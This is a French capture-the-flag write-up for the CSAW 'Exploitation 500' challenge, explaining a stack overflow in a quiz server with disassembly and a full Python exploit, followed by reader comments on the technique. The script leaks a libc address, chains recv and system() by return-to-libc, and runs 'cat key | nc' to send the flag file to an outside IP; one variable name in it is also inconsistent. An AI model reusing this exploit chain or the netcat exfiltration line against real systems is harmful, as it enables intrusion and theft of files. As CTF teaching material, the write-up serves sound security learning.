FR EN

Exploitation 500

<< Exploitation 400

Exploitation 500 était un exécutable 32-bits compilé stackexec. L'exécutable ouvrait une socket serveur sur le port 12345. Une fois connecté, on avait un jeu de questions/réponses, avec apparemment deux essais pour répondre à une question aléatoire.

La fonction client était q_generate à 0x08048CF7. Le workflow de la fonction est facile à comprendre : tirage d'une question aléatoire dans sques, réception de 0x7C octets dans un buffer de Ox7c octets (!!! une première dans ce CTF). Ajout d'un 0 à la fin du buffer, puis on vérifie si la réponse correspond à n'importe laquelle des réponses aux questions. Si la réponse est fausse, une deuxième chance est offerte à 0x0804DB5, et là, c'est le drame :

mov eax, [ebp+fd]
mov dword ptr [esp+0Ch], 0
mov dword ptr [esp+8], 400h
lea edx, [ebp+var_438]
mov [esp+4], edx
mov [esp], eax
call _recv
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
mov [esp+4], eax
lea eax, [ebp+var_438]
mov [esp], eax
call addn
mov eax, [ebp+var_10]
shr eax, 2
mov ecx, eax
lea eax, [ebp+var_438]
mov esi, eax
lea eax, [ebp+s2]
mov edi, eax
rep movsd

Donc cette fois on lit 0x400 caractères (pourquoi pas 0x7c comme la première fois...), la fonction addn ajoute un null byte à la fin. Puisque la réponse avait été placée dans un buffer assez grand, il faut probablement la bouger vers un buffer plus petit de 0x28 caractères. Comme on le voit, la valeur de retour du recv() est utilisée comme taille pour la recopie vers s2, qui est à ebp - 0x38.

Encore une fois, on a donc un stack-based overflow classique. Je n'ai pas retenté le bss puisque ça n'avait pas marché pour moi dans exploitation400. Par contre, comme j'avais un shell sur exploitation400 et que les deux tournaient sur le même serveur, j'avais donc la libc utilisée, et j'ai donc pu faire ma technique favorite : récupération de __libc_start_main dans la GOT, puis return into libc classique :

#!/usr/bin/python

import socket
import struct
import re

HOST = "128.238.66.213"
PORT = 12345

send_plt = struct.pack("<I", 0x8048780)
relaunch = struct.pack("<I", 0x08048e9e)
libcsm_got = struct.pack("<I", 0x0804b030)
pop4_ret = struct.pack("<I", 0x8048f0c) 
pop3_ret = struct.pack("<I", 0x8048f0d) 
pop2_ret = struct.pack("<I", 0x8048f0e) 
pop_ret = struct.pack("<I", 0x8048f0f) 

tfd = 4
target_fd = struct.pack("<I", tfd)

payload = 'A'*60 + send_plt + pop4_ret + target_fd + libcsm_got + struct.pack("<I", 4) + '\x00'*4 + relaunch + target_fd

s = socket.socket()
s.connect((HOST, PORT))
s.recv(1024)
s.sendall("y"*0x7c)
s.recv(1024)
s.sendall(payload)
fulltxt=""
while 1:
	txt = s.recv(1)
	if len(txt) == 0:
		break
	fulltxt += txt
	rx = re.search('\x65\x72\x3a\x20(....)\x57\x61\x72\x47', fulltxt)
	if rx != None:
		libc_start_main = struct.unpack("<I", rx.group(1))[0]
		break
print "[+] Got libc_start_main: " + hex(libc_start_main)

libc_base = libc_start_main - 0x193e0

str = "cat key | nc 91.121.101.112 4446\x00"
bss_buf = struct.pack("<I", 0x0804b1a0)
recv_plt = struct.pack("<I", 0x8048760)
libc_system = struct.pack("<I", libc_base + 0x0003d170)

s.recv(1024)
s.sendall("y"*0x7c)
s.recv(1024)
payload = 'A'*60 + recv_plt + pop4_ret + target_fd + bss_buf + struct.pack("<I", len(str2)) + '\x00'*4 + relaunch + target_fd
s.sendall(payload)
s.sendall(str)
s.recv(1024)
s.sendall("y"*0x7c)
s.recv(1024)
s.sendall('A'*60 + libc_system + pop_ret + bss_buf + relaunch + target_fd) 
while 1:
	txt = s.recv(1024)
	if len(txt) == 0:
		break
	print txt

Ouais, je suis peut-être un peu trop fan des relaunch, mais c'est plus marrant comme ça. Donc ce que j'ai fait au final : retourne dans send@plt pour printé l'adresse de __libc_start_main, read arbitraire dans le bss, puis system() de ce qui a été read. Le flag (oui, je l'ai gardé !) était Something_different_from_strcpy.

Et voilà pour les exploitations du CSAW, pas tellement réalistes et plutôt simples.

<< Exploitation 400

4 messages

  1. FrizN 08/10/12 17:02

    Oui, après la stack est rarement exécutable en vrai, donc un jmp *esp ne suffira pas et il faudra retomber sur des méthodes one-shot comme ce que je décris.

  2. Mohammed 05/10/12 21:38

    Merci beaucoup , mais je trouve si on utilise " jmp *%esp" est assez facile , il faut juste chercher son opcode dans le fichier binaire . c'est la methode que j'ai utilisé pendant le CTF

  3. FrizN 04/10/12 12:29

    Ce n'est pas une méthode à proprement parler, c'est le fait de relancer la vulnérabilité plusieurs fois pour facilement exploiter en plusieurs stages, avec des adresses connues -> http://www.bases-hacking.org/memory-disclosure.html . Bien sûr, chacun choisi sa manière la plus rapide/sûre d'exploiter.

  4. Mohammed 04/10/12 00:52

    salut , je voudrais vous remercier pour ces exellents articles qui me donnent une bonne pratique .
    je voudrais savoir est ce qu'il y a des documents qui expliquent la methode que vous avez utilisé dans cette tutorial " relaunch " , car je fais une autre technique pour resourdre ce type de probleme. merci avance.